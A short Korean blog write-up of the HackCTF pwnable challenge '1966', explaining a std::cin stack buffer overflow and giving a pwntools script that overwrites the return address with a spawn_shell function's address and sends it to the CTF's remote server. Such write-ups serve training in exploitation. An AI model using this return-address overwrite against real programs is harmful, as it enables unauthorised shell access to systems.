WAR GAME/HackCTF
[HackCTF : Pwnable] 1966 풀이 (cpp, BOF)
jir4vvit
2021. 3. 24. 17:54
문제 풀이 환경 : ubuntu 18.04 |
std::cin은 bof가 일어난다는 것을 첨 알았다.
주어진 파일은 문제 바이너리 파일
Analysis
별다른 기능을 하지 않는다. 저기 std:cin으로 name을 입력받는다.
저기서 bof가 일어나길 희망하고 테스트해봤더니 bof가 터진다. 앗싸!
shell 주는 함수도 있으니 return address를 덮으면 되겠다.
How to exploit
return address를 spawn_shell 함수로 덮는다.
Let's exploit
from pwn import *
#p = process('./1996')
p = remote('ctf.j0n9hyun.xyz', 3013)
e = ELF('./1996')
shell = 0x400897
payload = ''
payload += 'A' * 0x418
payload += p64(shell)
p.sendline(payload)
p.interactive()